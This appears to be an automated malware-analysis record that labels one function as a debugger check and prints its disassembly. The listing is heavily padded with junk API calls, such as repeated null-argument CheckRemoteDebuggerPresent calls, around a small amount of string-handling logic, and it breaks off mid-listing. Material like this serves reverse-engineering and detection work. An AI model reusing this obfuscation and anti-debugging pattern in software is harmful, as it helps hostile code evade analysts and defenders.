Function at 0x4160cd
Capabilities:
Check for debugger via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [sym.imp.ole32.dll_CoDecodeProxy]
xor ebx, ebx
push ebx
push 0x12
push 0x5a324b48
push 0xbdc27817
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x18], ecx
call edi
mov esi, dword [sym.imp.GDI32.dll_GetObjectW]
push ebx
push 0xa2726882
push ebx
call esi
push ebx
mov ebx, dword [sym.imp.USER32.dll_DestroyWindow]
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x83d2b6e2
push 0
call esi
push 0
call ebx
push 0
push 0x86f01e63
push 0
call esi
push 0
push 0xd
push 0x4019164d
push 0xa3afd347
call edi
push 0
push 0xee5475da
push 0
call esi
push 0
push 0x13
push 0x43e50396
push 0x3fa16a24
call edi
push 0
push 0xff109af
push 0
call esi
push 0
push 0x11
push 0xb5077493
push 0x30ed509
call edi
push 0
push 0x70a2021b
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x5105af7d
push 0
call esi
push 0
push 0x4a6c2abc
push 0
call esi
push 0
push 0xaf7c693c
push 0
call esi
push 0
push 0x78baf29a
push 0
call esi
push 0
call ebx
push 0
push 0x14
push 0xa8fd4fed
push 0x2d6c7a38
call edi
push 0
push 0xffffffffffffffed
push 0xbf4563a8
push 0xdc4cf78
call edi
push 0
push 0x6540b6fb
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x1bd4a980
push 0
call esi
push 0
push 0xbad50cd6
push 0
call esi
push 0
push 0x717069cf
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0
push 0xa930eb58
push 0xe79374a5
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xf5ccc5fe
push 0
call esi
push 0
push 0xe
push 0x4f0d30df
push 0xc1f66152
call edi
push 0
push 0xe301e465
push 0
call esi
xor eax, eax
push eax
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0xfffffffffffffffe
push 0xe00ad3bd
push 0xc2961c4a
call edi
push 0
push 0xf93165f1
push 0
call esi
push 0
push 8
push 0x2c876986
push 0xfae12fd4
call edi
push 0
push 0xc2e76443
push 0
call esi
push 0
push 0xa5b3ebe0
push 0
call esi
push 0
push 0xfffffffffffffff5
push 0x8fb0151d
push 0xac8aed0e
call edi
push 0
push 0xb481d8f1
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x63268b5d
push 0
call esi
push 0
push 0x27f6527d
push 0
call esi
push 0
push 0xbe696122
push 0
call esi
push 0
push 0xf93726eb
push 0
call esi
push 0
push 4
push 0x2345412b
push 0xddf63092
call edi
push 0
push 0x56be2cda
push 0
call esi
push 0
push 0xffffffffffffffec
push 0xc26653dd
push 0xc3d1fd4
call edi
push 0
call ebx
push 0
push 0xfbc797c
push 0
call esi
push 0
push 0x6ae53972
push 0
call esi
push 0
push 0xc3541acb
push 0
call esi
push 0
push 0xac6a287d
push 0
call esi
push 0
push 0xed433d40
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0x3cfac5fc
push 0
call esi
push 0
call ebx
push 0
push 0x421a774
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 3
push 0x55b79f2f
push 0x9d8aea6f
call edi
push 0
push 0xee41157e
push 0
call esi
push 0
call ebx
push 0
push 0x426d8bd4
push 0
call esi
push 0
push 0xd789efd7
push 0
call esi
push 0
call ebx
push 0
call ebx
mov eax, dword [ebp - 0x10]
push 0
push 0x104ede92
push 0
mov dword [ebp - 4], eax
call esi
push 0
push 0xeb854294
push 0
call esi
push 0
push 0x24afcbb5
push 0
call esi
push 0
push 0xa
push 0x8b29e65b
push 0x49c38b55
call edi
push 0
push 0x271189b3
push 0
call esi
push 0
push 0x10
push 0x1f2ce167
push 0xdb78ce35
call edi
push 0
push 0x29363353
push 0
call esi
push 0
push 0xf6ebc41d
push 0
call esi
push 0
push 1
push 0xe0784794
push 0x5229c209
call edi
push 0
push 0x7a29d80a
push 0
call esi
push 0
push 0xffffffffffffffff
push 0x2d35289c
push 0xa3ceaaa5
call edi
push 0
push 0xa
push 0x17d16249
push 0x5aca78cd
call edi
push 0
push 6
push 0xf890019
push 0x4dc15b94
call edi
push 0
call ebx
push 0
push 0x1039f635
push 0
call esi
push 0
push 0x80f5dce5
push 0
call esi
push 0
push 0x1bce1ae1
push 0
call esi
push 0
push 0x3226eb64
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xd0b8c600
push 0
call esi
push 0
call ebx
push 0
push 0xffffffffffffffe9
push 0x69b73f5d
push 0x3c1f1d4d
call edi
push 0
push 0xe
push 0xfed82eaa
push 0x94e53233
call edi
push 0
push 0x14
push 0x13839863
push 0x7ce9d29b
call edi
push 0
push 0xffffffffffffffff
push 0x4499dda3
push 0xda36db7b
call edi
push 0
push 0xe0ab5ed6
push 0
call esi
push 0
push 0x4543db9e
push 0
call esi
push 0
push 0xc
push 0xe13b9e19
push 0x36bcaa1a
call edi
push 0
call ebx
push 0
push 0x53a4857f
push 0
call esi
push 0
push 0xb29561ae
push 0
call esi
push 0
push 0xf1ce9297
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xbc0bc8
push 0
call esi
push 0
push 0xf
push 0xf92a0981
push 0x2b2c10bb
call edi
push 0
push 0xe856eac
push 0
call esi
cmp dword [ebp - 0x10], 0
je 0x417863
push 0
push 0x13
push 0xc9efd387
push 0x1c5bdb7a
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xfa23dba2
push 0
call esi
push 0
push 0xa193dcfd
push 0
call esi
push 0
call ebx
push 0
push 0xeaa853d7
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0x4f0a9cc4
push 0
call esi
push 0
push 0xb0aa830e
push 0
call esi
push 0
push 0x821c2e67
push 0
call esi
push 0
push 0xfac08ed3
push 0
call esi
push 0
push 0x12ed3da9
push 0
call esi
push 0
push 8
push 0xbc984d0
push 0x21f7810e
call edi
push 0
push 0x11
push 0xdb0b330a
push 0xcab62944
call edi
push 0
call ebx
push 0
call ebx
push 0
push 0xcdc078a1
push 0
call esi
push 0
call ebx
push 0
push 0x604f17f4
push 0
call esi
push 0
push 0xe849488c
push 0
call esi
push 0
call ebx
push 0
push 0xeb8a544f
push 0
call esi
push 0
push 0xf6e46417
push 0
call esi
push 0
push 0x6017d8d7
push 0
call esi
push 0
push 3
push 0xf2e4d221
push 0x958fba5b
call edi
push 0
push 0xae84c4c3
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x40c356d4
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x815e492c
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x5c46a90e
push 0
call esi
push 0
push 0x14
push 0x3bb0fd3f
push 0x448c3b2d
call edi
push dword [ebp - 0x10]
call dword [0x41c088]
lea eax, [eax*2 + 0x100]
push eax
push 0x40
call dword [0x41c048]
push 0
push 0x4287e232
push 0
mov dword [ebp - 0xc], eax
call esi
push 0
call ebx
push 0
push 0x55be0af8
push 0
call esi
push 0
call ebx
push 0
push 0xa
push 0x5c249935
push 0x3b333c6c
call edi
push 0
push 0xfe9694
push 0
call esi
push 0
push 0x35bb729c
push 0
call esi
push 0
push 0x1a4503cb
push 0
call esi
push 0
push 0x1b70659
push 0
call esi
push 0
push 0x7d5b227c
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0xfffffffffffffff8
push 0x273ddf1a
push 0x1097c4d3
call edi
push 0
push 0x2bf3109f
push 0
call esi
push 0
push 0x75726d7
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x5fe6301f
push 0
call esi
push 0
call ebx
push 0
push 0xb9d8320b
push 0
call esi
push 0
push 0x430cacf6
push 0
call esi
push 0
call ebx
push 0
push 0x45230a81
push 0
call esi
push 0
push 0x987bd9ea
push 0
call esi
push 0
call ebx
push 0
push 0x763caa87
push 0
call esi
push 0
push 8
push 0xfae4e047
push 0x1f2d89dc
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 3
push 0x1fd88a5c
push 0x1d99a0f2
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xfa037b40
push 0
call esi
push 0
push 0x7843f1c9
push 0
call esi
push 0
push 0xfffffffffffffffe
push 0x75f13c81
push 0x1fe44117
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0x41b720
push dword [ebp - 4]
call dword [0x41c184]
push 0
mov dword [ebp - 8], eax
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xd16eed19
push 0
call esi
push 0
push 0xe12ced85
push 0
call esi
push 0
push 0x869ab1c6
push 0
call esi
push 0
push 0xc
push 0x38e98e86
push 0xccd09289
call edi
push 0
push 0x65758b23
push 0
call esi
push 0
call ebx
push 0
push 4
push 0x5dfd1488
push 0xe6a4911a
call edi
push 0
push 0x11
push 0x6e919587
push 0xa44b9117
call edi
push 0
call ebx
push 0
push 0x90d76ff4
push 0
call esi
push 0
push 0x363625c8
push 0
call esi
push 0
push 0xe30dd675
push 0
call esi
push 0
push 8
push 0x35f74e50
push 0x90f2c3c9
call edi
push 0
call ebx
push 0
push 0x6c79bb88
push 0
call esi
push 0
push 0x6218ffa3
push 0
call esi
push 0
push 0xfffffffffffffff6
push 0x7a4ede35
push 0xad88afea
call edi
push 0
push 0x85c708db
push 0
call esi
push 0
push 0x8e513a7d
push 0
call esi
push 0
push 0x33c4d1ec
push 0
call esi
push 0
call ebx
push 0
push 0x6e9ccb14
push 0
call esi
push 0
push 0xa9f395e6
push 0
call esi
push 0
call ebx
push 0
push 0xeabc7115
push 0
call esi
push 0
push 0xe912875e
push 0
call esi
push 0
call ebx
push 0
push 0x28e0bee0
push 0
call esi
push 0
push 2
push 0x20e6f99f
push 0x4f3760a7
call edi
push 0
call ebx
push 0
push 0x11c1bde9
push 0
call esi
push 0
push 0x11
push 0xc4ee0752
push 0x2bd75b14
call edi
cmp dword [ebp - 8], 0
je 0x4174f7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0xa59d3562
push 0
call esi
push 0
push 0x1277186c
push 0
call esi
push 0
push 0xa39246d7
push 0
call esi
push 0
push 0x78b330
push 0
call esi
push 0
push 0xd5fda4b
push 0
call esi
push 0
call ebx
push 0
push 0xc9a63f42
push 0
call esi
push 0
push 0x2a35d3a0
push 0
call esi
push 0
push 0xb313e232
push 0
call esi
push 0
push 0x5c1ff1e4
push 0
call esi
push 0
push 0xc960b2ba
push 0
call esi
push 0
push 0x48c920a1
push 0
call esi
push 0
push 0x32fc4e80
push 0
call esi
push 0
push 0x65aa431c
push 0
call esi
push 0
call ebx
push 0
push 0x289ae363
push 0
call esi
push 0
push 5
push 0x5acd038b
push 0xa8fd4fd6
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x560631d6
push 0
call esi
push 0
push 0xfc63dc7a
push 0
call esi
push 0
push 0x7347627
push 0
call esi
push 0
push 0x493b362
push 0
call esi
push 0
call ebx
push 0
push 0x21973021
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x427b26
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0xffffffffffffffee
push 0x1e95e4bf
push 0xcaf6deb1
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x1b0c4d7d
push 0
call esi
push 0
push 0xffffffffffffffe9
push 0x3af30eed
push 0x8b35897d
call edi
push 0
call ebx
push 0
call ebx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
push 0
push 0x109d1bde
sar eax, 1
push 0
mov dword [ebp - 8], eax
call esi
push 0
push 0xb5109648
push 0
call esi
push 0
call ebx
push 0
push 0xa
push 0xf11866dc
push 0xed5c8adf
call edi
push 0
push 0x827e44ea
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x4534c46
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xae7a7131
push 0
call esi
push 0
push 0x2a4d299a
push 0
call esi
push 0
push 0x4a164dc2
push 0
call esi
push 0
push 0x77f8832c
push 0
call esi
push 0
push 0x3cd259b7
push 0
call esi
push 0
push 0xc
push 0xf6d5440b
push 0xe516fb4b
call edi
push 0
call ebx
push 0
push 0x1a01b982
push 0
call esi
push 0
push 0xf12dfc38
push 0
call esi
push 0
push 0x20206dd4
push 0
call esi
push 0
push 0xee6ae2d1
push 0
call esi
push 0
call ebx
push 0
push 0xddd24b2a
push 0
call esi
push 0
call ebx
push 0
push 0xffffffffffffffe9
push 0xdba94ad
push 0xccebe306
call edi
push 0
push 0xd066f2c7
push 0
call esi
push 0
push 0x54b91b52
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x10b8facd
push 0
call esi
push 0
push 0x3a63a031
push 0
call esi
push 0
push 0x5a694a53
push 0
call esi
push 0
push 0xc30c3fb4
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x3bc1d4ca
push 0
call esi
push 0
push 0x12
push 0xc8dd7dd4
push 0x4592dcbd
call edi
push 0
push 0x142ec2e4
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x48545857
push 0
call esi
push dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0xc]
push 0
call fcn.004114a0
pop ecx
pop ecx
test eax, eax
je 0x4171af
push 0
push 0x85bda7e2
push 0
call esi
push 0
push 0xc5dbb2f9
push 0
call esi
push 0
call ebx
push 0
push 3
push 0x927420a8
push 0x14597fe9
call edi
push 0
push 0x8dc40ef0
push 0
call esi
push 0
push 0xb9cf64ce
push 0
call esi
push 0
push 0xcad66da5
push 0
call esi
push 0
push 0xee7931a4
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x497382ea
push 0
call esi
push 0
push 0x413a24a6
push 0
call esi
push 0
push 0x750d600f
push 0
call esi
push 0
push 0x46ced68
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0xd93ed584
push 0
call esi
push 0
push 0x14
push 0x1717e093
push 0x2e85d86
call edi
push 0
push 0xfffffffffffffffc
push 0x7fa3a1f8
push 0x15a9a0ee
call edi
push 0
push 0x41d2e09b
push 0
call esi
push 0
push 0x92216ddc
push 0
call esi
push 0
push 0xf8b1eea1
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 8
push 0x3a2da1dc
push 0xc15e61a6
call edi
push 0
push 0xed174b31
push 0
call esi
push 0
call ebx
push 0
push 0xa48e41d7
push 0
call esi
push 0
push 0xa72ca63
push 0
call esi
push 0
push 0xb249f1f6
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0x9044e39e
push 0
call esi
push 0
push 0x6b7978c4
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push dword [ebp - 0xc]
push dword [ebp - 0x18]
call dword [0x41c134]
test eax, eax
je 0x4171af
push 0
push 0xdc278b34
push 0
call esi
push 0
push 0x84fb40a1
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x88daba4a
push 0
call esi
push 0
push 0x2b6980c5
push 0
call esi
push 0
push 0x93986787
push 0
call esi
push 0
push 0xdf3ee1f5
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x13
push 0xe4cc3a1c
push 0x6844de5e
call edi
push 0
push 0x7c3beb05
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x16
push 0xa883950
push 0x337fd574
call edi
push 0
push 4
push 0xf1f433c9
push 0x16165b16
call edi
push 0
push 0x840d82d0
push 0
call esi
push 0
call ebx
push 0
push 0x71f66e56
push 0
call esi
push 0
push 0xfffffffffffffff7
push 0x36846770
push 0xfdcda94a
call edi
push 0
call ebx
push 0
push 0x6541c0ef
push 0
call esi
push 0
push 0x168d9732
push 0
call esi
push 0
push 0x8ac81b5f
push 0
call esi
push 0
push 0xe47a780d
push 0
call esi
push 0
push 0x8917744a
push 0
call esi
push 0
push 0x57df2fc5
push 0
call esi
push 0
push 0xaa6c6ebd
push 0
call esi
push 0
push 0xc0ba5fc8
push 0
call esi
push 0
push 0x4011a9ab
push 0
call esi
push 0
push 0xffffffffffffffe9
push 0x4b50be99
push 0x50e09a60
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x46d8e798
push 0
call esi
push 0
call ebx
push 0
push 0x57d9182f
push 0
call esi
push 0
call ebx
push 0
push 0xffffffffffffffee
push 0xc5838aa4
push 0x2bc0462c
call edi
push 0
push 0x28c5800d
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
push 0x735717d1
push 0
call esi
push 0
push 0xf2491709
push 0
call esi
push 0
call ebx
push 0
push 0xfcdd13a0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xce597f34
push 0
call esi
push 0
push 0x65246997
push 0
call esi
push 0
push 0xc2cd68cb
push 0
call esi
push 0
push 0x5d358224
push 0
call esi
push 0
push 7
push 0xd38ccc74
push 0x1785f55c
call edi
push 0
push 0xffffffffffffffff
push 0x680a50e5
push 0x8d024ed3
call edi
push 0
call ebx
push 0
push 0xd15b20a1
push 0
call esi
push 0
push 0x8e690e27
push 0
call esi
push 0
push 0x3e7b72cc
push 0
call esi
push 0
push 0xffffffffffffffed
push 0x5644f81b
push 0x35614c67
call edi
push 0
push 0x620210ce
push 0
call esi
push 0
push 0x7970318e
push 0
call esi
push 0
push 0xd3d7828b
push 0
call esi
push 0
call ebx
push 0
push 0x732f3254
push 0
call esi
push 0
call ebx
push 0
push 0x1e6c6a43
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 5
push 0x44535373
push 0x97dc74d1
call edi
push 0
push 0xfffffffffffffff0
push 0x7c35ad2d
push 0x26da5922
call edi
push 0
call ebx
push 0
push 0x5df833c7
push 0
call esi
push 0
push 0x966fe461
push 0
call esi
push 0
push 0x4e26d87
push 0
call esi
push 0
push 0x5cbe4b49
push 0
call esi
push 0
call ebx
push 0
push 0x50860c57
push 0
call esi
push 0
push 0x1bde4b30
push 0
call esi
push 0
push 0x76301a65
push 0
call esi
push 0
push 0x33571e6e
push 0
call esi
push 0
push 0x6c379afe
push 0
call esi
push 0
call ebx
push 0
push 0x11
push 0x16f70197
push 0x56248da8
call edi
push 0
push 0x2c8014fd
push 0
call esi
push 0
push 0xfffffffffffffff7
push 0x3f7f1e17
push 0xeb995769
call edi
push 0
push 0x15
push 0x85d3ea90
push 0xc45d12a0
call edi
push 0
push 0x3eaeccb
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call ebx
push 0
call ebx
push 0
push 0xcfaebf3b
push 0
call esi
push 0
push 0x16
push 0x5ba4025
push 0x417809ed
call edi
push 0
push 0x621ebd70
push 0
call esi
push 0
push 0xe30fb612
push 0
call esi
push 0
push 0x69bd569f
push 0
call esi
push 0
push 0xbd0fb599
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0x1b3708e7
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x64324cd3
push 0
call esi
push 0
push 6
push 0xaba94bea
push 0x51c9915b
call edi
push 0
push 0xc86970e0
push 0
call esi
push 0
push 0xfffffffffffffffc
push 0x503a4701
push 0x8e3410a2
call edi
push 0
push 0xecd91ddd
push 0
call esi
push 0
push 0x388b4d5c
push 0
call esi
push 0
push 9
push 0xa6c89200
push 0xde751d75
call edi
push 0
push 0xfffffffffffffff9
push 0x442fd4a3
push 0x2c461d15
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x96716305
push 0
call esi
push 0
push 0xfffffffffffffffc
push 0xf79e75e5
push 0x2eaab190
call edi
push 0
push 0x87f9660c
push 0
call esi
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push 0
push 0
lea eax, [eax + ecx*2]
add eax, 2
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x49bc7832
push 0
call esi
push 0
push 0x13
push 0xe1ce18e4
push 0x84fc691b
call edi
push 0
push 0xdffe19f9
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x10
push 0x2170a6a5
push 0xfd38bf8e
call edi
push 0
call ebx
push 0
push 0x80563eb3
push 0
call esi
push 0
push 0xb
push 0x6d95b69c
push 0x4f2c727
call edi
push 0
push 0x6e4a6796
push 0
call esi
push 0
push 0x12
push 0xd880acc6
push 0xdf384a25
call edi
push 0
call ebx
push 0
call ebx
push 0
push 0xad3bc4a0
push 0
call esi
push 0
push 0xbc2e8cd
push 0
call esi
push 0
push 0xd43ecf33
push 0
call esi
push 0
push 0x15
push 0x4868a9d
push 0x49a05626
call edi
push 0
push 0xe5139707
push 0
call esi
push 0
push 0xfffffffffffffff7
push 0x3cb52724
push 0x476d1d06
call edi
push 0
call ebx
push 0
push 0xfffffffffffffffb
push 0x8b48c288
push 0x58376803
call edi
push 0
push 0x5a363d38
push 0
call esi
push 0
push 0x6c6974a4
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x16
push 0x3d43e6e1
push 0x424f468c
call edi
push 0
push 0x11
push 0x13f66509
push 0xca2e8af3
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xd245b6b
push 0
call esi
push 0
push 0x30905f01
push 0
call esi
push 0
push 0xfd5a1f1b
push 0
call esi
push 0
push 0x2734c99b
push 0
call esi
push 0
push 0xbad02521
push 0
call esi
push 0
push 0xe
push 0x9c74fe9f
push 0xbf02a535
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xffffffffffffffee
push 0x3e8bfa5f
push 0x3d3f7040
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
jmp 0x417850
push dword [ebp - 4]
call dword [0x41c088]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0xc]
push eax
push 0
call fcn.004114a0
pop ecx
pop ecx
test eax, eax
je 0x41784c
push dword [ebp - 0xc]
push dword [ebp - 0x18]
call dword [0x41c134]
test eax, eax
je 0x41784c
push 0
push 0xd14871d5
push 0
call esi
push 0
call ebx
push 0
push 0xeae4375a
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x24d0ab6b
push 0
call esi
push 0
call ebx
push 0
push 0x10
push 0xa7803107
push 0xd092aadd
call edi
push 0
push 0x5442d19b
push 0
call esi
push 0
push 0x4df1f0eb
push 0
call esi
push 0
push 0xfffffffffffffff5
push 0x3716c60d
push 0x3a03bdc0
call edi
push 0
push 0x2dd83047
push 0
call esi
push 0
push 7
push 0x85b63449
push 0x5c17b5bc
call edi
push 0
push 0x7d6aedb9
push 0
call esi
push 0
call ebx
push 0
push 0xfffffffffffffff5
push 0x44aae793
push 0x52d60de5
call edi
push 0
push 7
push 0x1f562177
push 0x3e697fc1
call edi
push 0
push 2
push 0x75b5ac2e
push 0xb5bcc00
call edi
push 0
push 0x4471ae06
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x21855c3
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x46db14ec
push 0
call esi
push 0
push 0xbf4794f2
push 0
call esi
push 0
push 0x4f8afcfc
push 0
call esi
push 0
push 0x24e13b04
push 0
call esi
push 0
push 0xea82275a
push 0
call esi
push 0
push 0x11d94c7c
push 0
call esi
push 0
push 0x607559a4
push 0
call esi
push 0
push 0xd2b9939
push 0
call esi
push 0
push 0xfffffffffffffff3
push 0x18d2171a
push 0x472bd5ae
call edi
push 0
push 0xba4226d1
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xa48f527b
push 0
call esi
push 0
push 0xfffffffffffffff3
push 0x1ab41aaa
push 0x34ef3086
call edi
push 0
call ebx
push 0
push 0x4dd02355
push 0
call esi
push 0
push 0x16
push 0xff710b16
push 0x56c234a6
mov dword [ebp - 0x14], 1
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x10
push 0x8d5bfad1
push 0xd5018831
call edi
push 0
push 0x3fe825ee
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xf2b38cab
push 0
call esi
push 0
push 8
push 0x293c974f
push 0x2eb5b284
call edi
push 0
push 0xffffffffffffffec
push 0xe3ec48c
push 0x5ba1205
call edi
push 0
push 0xc979abdd
push 0
call esi
push 0
push 0x12
push 0x7df8b1ca
push 0xb3a28eb5
call edi
push 0
push 0xe5982903
push 0
call esi
push 0
call ebx
push 0
push 0xfb7e97ee
push 0
call esi
push 0
call ebx
push 0
push 0x72bba594
push 0
call esi
push 0
push 0x60358fbb
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x3e423347
push 0
call esi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xecc6234d
push 0
call esi
push 0
push 0xba6ca393
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x964bfa0e
push 0
call esi
push 0
push 0x5b9d8d8b
push 0
call esi
push 0
push 0x78de91d0
push 0
call esi
push 0
push 0x89847002
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xb2e3b5e9
push 0
call esi
push 0
push 0x7d7263f9
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xb7ba5535
push 0
call esi
push 0
push 0
